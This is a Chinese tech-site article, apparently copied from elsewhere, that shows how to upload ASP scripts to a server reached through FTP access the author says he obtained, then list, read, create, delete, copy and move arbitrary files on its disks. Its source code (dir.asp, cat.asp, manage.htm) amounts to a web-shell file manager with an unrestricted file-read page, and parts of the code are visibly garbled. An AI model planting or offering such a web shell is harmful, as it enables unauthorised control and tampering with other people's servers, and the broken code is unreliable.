当前位置:操作系统 > 玩转网络 >>

利用ASP实现对Web主机硬盘文件的读写

答案:

ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.htm和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码在本文最后。


不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。

首先将写好的文件上传至ftp://202.192.*.*,然后通过访http://202.192.*.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数,就可以看到不同分区的信息。

接下来就是执http://202.192.*.*/manage.htm 了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。

现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!

各文件源代码

dir.asp

<% @language="vbscript"%>
<%
spp=request.querystring("pp")
'physical path
sup=request.querystring("up")
'url path
mode=request.querystring("mode")
if spp & "" = "" then spp=getpp
if sup & "" = "" then sup=getup
result =dir(sppsup)
function dir(byval sppbyval sup)
if right(spp1) <> "\" then spp=spp&"\"
if right(sup1) <> "/" then sup=sup&"/"
response.write "<font size=4><b>Index of "&spp&"</b></font><br><hr>"
set fso=CreateObject("Scripting.filesystemobject")
set f=fso.getfolder(spp)
set fc=f.files
set ff=f.subfolders
response.write "<table cellpadding=2 cellspacing=2 border=0>"
if mode="drivers" then
set dc=fso.drives
for each d in dc
response.write "<tr><td width=15 valign=middle> </td>"
response.write "<td valign=middle><a href=>r &":\>"&d.DriveLetter &":\</a>" &d.DriveType &"<br></td></tr>"
next
set dc=nothing
else
'set parent folder
if right(spp2)=":\" then
response.write "<a href=>>drive list</b></a><br><br>"
else
response.write "<tr><td width=15 valign=middle><img=src=http://old.zzzyk.com/article/Article/sub_1.gif></
td>"
response.write "<td valign=middle><a href=>parentfolder&"up"&pardir(sup"/")&chr(34)&"><b>parent directory</b></><br><b
r></td></tr>"
end if
for each f in ff
response.write "<tr><te width=15 valign=middle><img src=http://old.zzzyk.com/article/Article/sub_1.gif></
td>"
response.write "<td valign=middle><a href=>p&f.name&"&up="&sup&f.name&chr(34)&">"&f.name&"\</a></td></tr>"
next
for each f in fc
response.write "<tr><td width=15 valign=middle><img src"&image(f
.name)&"></td>"
response.write "<td valign=middle><a href=>e="&app&f.name&chr(34)&">"&f.name&"</a><br></td></tr>"
next
end if
set ff=nothing
set fso=nothing
set f=nothing
set fc=nothing
end function
function pardir(byval sbyval slash)
pardir=""
if s & ""="" then exit function
s=left(slen(s)-1)
do while true
c=right(s1)
if c = ":" then exit do
if c <> slash then
if len(s) <=0 then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
pardir=s
end function
function image(byval sname)
dim stype: stype=gettype(sname)
image=""
select case stype
case ".htm"
image=image &"sub_2.gif"
case ".html"
image=image &"sub_2.gif"
case ".bak"
image=image &"sub_2.gif"
case ".BAK"
image=image &"sub_2.gif"
case ".gif"
case ".GIF"
image=image &"sub_2.gif"
case ".jpg"
case ".JPG"
image=image &"sub_2.gif"
case ".jpeg"
case ".JPEG"
image=image &"sub_2.gif"
case ".bmp"
image=image &"sub_2.gif"
case ".BMP"
image=image &"sub_2.gif"
case ".txt"
image=image &"sub_2.gif"
case else
image=image &"sub_2.gif"
end select
end function
function getpp 'physical path
dim s
s=request.servervariables("path_translated")
do while true
if instr(s"\") then
if right(s1)="\" then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
getup="http://"&s
end function
function gettype(byval s) 'get file type
do while true
if instr(s".") then
if left(s1)="." then exit do
s=right(slen(s)-1)
else
gettype=""
exit do
end if
loop
gettype=s
end function
%>

cat.asp

<%
response.contenttype="text/plain"
file=request.querystring("file")
if file="" then
response.write "请输入要看的文件名http://xxx/cat.asp?file=c:\autoexec.
bat"
else
set fsFilesys=CreateObject("Scripting.FileSystemObject")
set tsCoffee=fsFilesys.OpenTextFile(file)
response.write tscoffee.Readall
tsCoffee.close
set fsFilesys=nothing
set tsCoffee=nothing
end if
%>


manage.htm

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
</head>
<body>
<div align="center">
<center>
<table border="0" width="750">
<tr>
<td>
<p align="center">文件在线管理系统</td>
</tr>
<tr>
<td>复制文件</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>copy<input type="text" name="T1" size="94"></p>
<p>to<input type="text" name="T2" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>复制目录</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>copy<input type="text" name="T3" size="94"></p>
<p>to<input type="text" name="T4" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>建立文件</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>create<input type="text" name="T5" size="94"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>删除文件</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>delete<input type="text" name="T6" size="94"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>建立目录</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>create<input type="text" name="T7" size="94"></p>
<p>under<input type="text" name="T8" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>删除目录</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>delete<input type="text" name="T9" size="94"></p>
<p>under<input type="text" name="T10" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>移动文件</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>move<input type="text" name="T11" size="94"></p>
<p>to<input type="text" name="T12" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td>移动目录</td>
</tr>
<tr>
<td><form method="get" action="manage.asp">
<p>move<input type="text" name="T13" size="94"></p>
<p>to<input type="text" name="T14" size="97"></p>
<p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
</table>
</center>
</div>
</body>
</html>

上一个:IPC入侵工略及防范
下一个:如何实现网络分段

更多玩转网络疑问解答:
对访问的站点进行流量分配
Cisco2620路由器的配置与维护
Cisco 2501 路由器的配置与调试
Cisco 路由器寄存器配置
Cisco PIX防火墙的安装流程
用PIX构筑铜墙铁壁
cisco的异步回拨命令集
Cisco路由器存储器及IOS升级
MDaemon Server的安全设置
CISCO NAT 配置
备份Cisco路由器用户配置
Cisco路由器密码忘了怎么办?
Jmail的主要参数列表
OpenBSD入门
NetBSD操作系统在VMware下的安装指南
电脑通通透
玩转网络
IE/注册表
DOS/Win9x
Windows Xp
Windows 2000
Windows 2003
Windows Vista
Windows 2008
Windows7
Unix/Linux
苹果机Mac OS
windows8
安卓/Android
Windows10
如果你遇到操作系统难题:
请访问www.zzzyk.com 试试
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,